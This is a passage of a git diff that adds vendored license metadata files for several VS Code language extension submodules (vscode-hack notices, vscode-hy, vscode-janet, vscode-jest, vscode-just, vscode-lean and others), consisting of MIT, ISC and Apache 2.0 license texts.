+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: The source code for this extension is hosted at [https://github.com/slackhq/vscode-hack](https://github.com/slackhq/vscode-hack)
+    and is available under the [MIT license](LICENSE.md).
+notices:
+- sources: NOTICE.md
+  text: "# Third-party notices\n\n\nThis document includes licensing information relating
+    to free, open-source, and public-source software (together, the “SOFTWARE”) included
+    with or used while developing Slack’s `vscode-hack` software.  The terms of the
+    applicable free, open-source, and public-source licenses (each an “OSS LICENSE”)
+    govern Slack’s distribution and your use of the SOFTWARE. Slack and the third-party
+    authors, licensors, and distributors of the SOFTWARE disclaim all warranties and
+    liability arising from all use and distribution of the SOFTWARE. To the extent
+    the OSS is provided under an agreement with Slack that differs from the applicable
+    OSS LICENSE, those terms are offered by Slack alone.\n\n\nSlack has reproduced
+    below copyright and other licensing notices appearing within the SOFTWARE. While
+    Slack seeks to provide complete and accurate copyright and licensing information
+    for each SOFTWARE package, Slack does not represent or warrant that the following
+    information is complete, correct, or error-free. SOFTWARE recipients are encouraged
+    to (a) investigate the identified SOFTWARE packages to confirm the accuracy of
+    the licensing information provided herein and (b) notify Slack of any inaccuracies
+    or errors found in this document so that Slack may update this document accordingly.\n\n\nCertain
+    OSS LICENSES (such as the GNU General Public Licenses, GNU Library/Lesser General
+    Public Licenses, Affero General Public Licenses, Mozilla Public Licenses, Common
+    Development and Distribution Licenses, Common Public License, and Eclipse Public
+    License) require that the source code corresponding to distributed OSS binaries
+    be made available to recipients or other requestors under the terms of the same
+    OSS LICENSE. Recipients or requestors who would like to receive a copy of such
+    corresponding source code should submit a request to Slack by post at:\n\n\nSlack
+    \ \nAttn: Open Source Requests  \n500 Howard St.  \nSan Francisco, CA 94105\n\n---\n**[@vscode/debugadapter@1.65.0](https://github.com/microsoft/vscode-debugadapter-node)**\n```\nCopyright
+    (c) Microsoft Corporation\r\n\r\nAll rights reserved. \r\n\r\nMIT License\r\n\r\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy of this software
+    and associated documentation files (the \"Software\"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell copies of the Software, and
+    to permit persons to whom the Software is furnished to do so, subject to the following
+    conditions:\r\n\r\nThe above copyright notice and this permission notice shall
+    be included in all copies or substantial portions of the Software.\r\n\r\nTHE
+    SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+    INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+    PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n\n**[@vscode/debugprotocol@1.65.0](https://github.com/microsoft/vscode-debugadapter-node)**\n```\nCopyright
+    (c) Microsoft Corporation\r\n\r\nAll rights reserved. \r\n\r\nMIT License\r\n\r\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy of this software
+    and associated documentation files (the \"Software\"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell copies of the Software, and
+    to permit persons to whom the Software is furnished to do so, subject to the following
+    conditions:\r\n\r\nThe above copyright notice and this permission notice shall
+    be included in all copies or substantial portions of the Software.\r\n\r\nTHE
+    SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+    INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+    PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n\n**[balanced-match@1.0.0](https://github.com/juliangruber/balanced-match)**\n```\n(MIT)\n\nCopyright
+    (c) 2013 Julian Gruber &lt;julian@juliangruber.com&gt;\n\nPermission is hereby
+    granted, free of charge, to any person obtaining a copy of\nthis software and
+    associated documentation files (the \"Software\"), to deal in\nthe Software without
+    restriction, including without limitation the rights to\nuse, copy, modify, merge,
+    publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit
+    persons to whom the Software is furnished to do\nso, subject to the following
+    conditions:\n\nThe above copyright notice and this permission notice shall be
+    included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE
+    IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING
+    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF
+    CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE
+    OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n```\n\n**[brace-expansion@2.0.1](https://github.com/juliangruber/brace-expansion)**\n```\nMIT
+    License\n\nCopyright (c) 2013 Julian Gruber <julian@juliangruber.com>\n\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy\nof this software
+    and associated documentation files (the \"Software\"), to deal\nin the Software
+    without restriction, including without limitation the rights\nto use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and
+    to permit persons to whom the Software is\nfurnished to do so, subject to the
+    following conditions:\n\nThe above copyright notice and this permission notice
+    shall be included in all\ncopies or substantial portions of the Software.\n\nTHE
+    SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED,
+    INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A
+    PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE
+    SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n```\n\n**[lru-cache@6.0.0](https://github.com/isaacs/node-lru-cache)**\n```\nThe
+    ISC License\n\nCopyright (c) Isaac Z. Schlueter and Contributors\n\nPermission
+    to use, copy, modify, and/or distribute this software for any\npurpose with or
+    without fee is hereby granted, provided that the above\ncopyright notice and this
+    permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\"
+    AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING
+    ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+    AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES
+    OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER
+    IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR\nIN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n```\n\n**[minimatch@5.1.6](https://github.com/isaacs/minimatch)**\n```\nThe
+    ISC License\n\nCopyright (c) 2011-2023 Isaac Z. Schlueter and Contributors\n\nPermission
+    to use, copy, modify, and/or distribute this software for any\npurpose with or
+    without fee is hereby granted, provided that the above\ncopyright notice and this
+    permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\"
+    AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING
+    ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+    AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES
+    OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER
+    IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR\nIN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n```\n\n**[semver@7.6.0](https://github.com/npm/node-semver)**\n```\nThe
+    ISC License\n\nCopyright (c) Isaac Z. Schlueter and Contributors\n\nPermission
+    to use, copy, modify, and/or distribute this software for any\npurpose with or
+    without fee is hereby granted, provided that the above\ncopyright notice and this
+    permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\"
+    AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING
+    ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+    AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES
+    OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER
+    IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR\nIN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n```\n\n**[vscode-jsonrpc@8.2.0](https://github.com/Microsoft/vscode-languageserver-node)**\n```\nCopyright
+    (c) Microsoft Corporation\n\nAll rights reserved.\n\nMIT License\n\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy of this software
+    and associated documentation files (the \"Software\"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell copies of the Software, and
+    to permit persons to whom the Software is furnished to do so, subject to the following
+    conditions:\n\nThe above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE
+    IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
+    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+    THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n\n**[vscode-languageclient@9.0.1](https://github.com/Microsoft/vscode-languageserver-node)**\n```\nCopyright
+    (c) Microsoft Corporation\n\nAll rights reserved.\n\nMIT License\n\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy of this software
+    and associated documentation files (the \"Software\"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell copies of the Software, and
+    to permit persons to whom the Software is furnished to do so, subject to the following
+    conditions:\n\nThe above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE
+    IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
+    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+    THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n\n**[vscode-languageserver-protocol@3.17.5](https://github.com/Microsoft/vscode-languageserver-node)**\n```\nCopyright
+    (c) Microsoft Corporation\n\nAll rights reserved.\n\nMIT License\n\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy of this software
+    and associated documentation files (the \"Software\"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell copies of the Software, and
+    to permit persons to whom the Software is furnished to do so, subject to the following
+    conditions:\n\nThe above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE
+    IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
+    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+    THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n\n**[vscode-languageserver-types@3.17.5](https://github.com/Microsoft/vscode-languageserver-node)**\n```\nCopyright
+    (c) Microsoft Corporation\n\nAll rights reserved.\n\nMIT License\n\nPermission
+    is hereby granted, free of charge, to any person obtaining a copy of this software
+    and associated documentation files (the \"Software\"), to deal in the Software
+    without restriction, including without limitation the rights to use, copy, modify,
+    merge, publish, distribute, sublicense, and/or sell copies of the Software, and
+    to permit persons to whom the Software is furnished to do so, subject to the following
+    conditions:\n\nThe above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE
+    IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
+    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+    TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
+    THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n```\n\n**[yallist@4.0.0](https://github.com/isaacs/yallist)**\n```\nThe
+    ISC License\n\nCopyright (c) Isaac Z. Schlueter and Contributors\n\nPermission
+    to use, copy, modify, and/or distribute this software for any\npurpose with or
+    without fee is hereby granted, provided that the above\ncopyright notice and this
+    permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\"
+    AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING
+    ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+    AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES
+    OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER
+    IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR\nIN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n```"
diff --git a/vendor/licenses/git_submodule/vscode-hy.dep.yml b/vendor/licenses/git_submodule/vscode-hy.dep.yml
new file mode 100644
index 0000000000..d62d52b91a
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-hy.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-hy
+version: 8dc1b4ff771bc5feaf5a75f57e47c0dae3f378ee
+type: git_submodule
+homepage: https://github.com/tshakalekholoane/vscode-hy
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023 Tshaka Eric Lekholoane
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-ibmi-languages.dep.yml b/vendor/licenses/git_submodule/vscode-ibmi-languages.dep.yml
new file mode 100644
index 0000000000..9ff2d019df
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-ibmi-languages.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-ibmi-languages
+version: 7e37b14028645e39fbb297baa261b0f6eee97758
+type: git_submodule
+homepage: https://github.com/barrettotte/vscode-ibmi-languages
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    MIT License
+
+    Copyright (c) 2020 Barrett Otte
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-janet.dep.yml b/vendor/licenses/git_submodule/vscode-janet.dep.yml
new file mode 100644
index 0000000000..1396717405
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-janet.dep.yml
@@ -0,0 +1,29 @@
+---
+name: vscode-janet
+version: 0225a87fb8c75d9dec024d592f2bdcf74f366e5e
+type: git_submodule
+homepage: https://github.com/janet-lang/vscode-janet.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2020 Calvin Rose and contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+    of the Software, and to permit persons to whom the Software is furnished to do
+    so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-jest.dep.yml b/vendor/licenses/git_submodule/vscode-jest.dep.yml
new file mode 100644
index 0000000000..a665db8fbc
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-jest.dep.yml
@@ -0,0 +1,33 @@
+---
+name: vscode-jest
+version: 6c9161c5ba66197887ca1c66fa3ca04bc2760ab4
+type: git_submodule
+homepage: https://github.com/jest-community/vscode-jest
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2016 Orta
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: vscode-jest is [MIT licensed.](LICENSE)
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-just.dep.yml b/vendor/licenses/git_submodule/vscode-just.dep.yml
new file mode 100644
index 0000000000..1cc14ea22a
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-just.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-just
+version: 7e9bcc81d93959259b9e2658a4806c13ff3f926d
+type: git_submodule
+homepage: https://github.com/nefrob/vscode-just.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2024 Robert Neff
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-lean.dep.yml b/vendor/licenses/git_submodule/vscode-lean.dep.yml
new file mode 100644
index 0000000000..b5d4c6dfd4
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-lean.dep.yml
@@ -0,0 +1,188 @@
+---
+name: vscode-lean
+version: 0c5aad69566fdebe25132c3f7933fb6eb895db3f
+type: git_submodule
+homepage: https://github.com/leanprover/vscode-lean
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
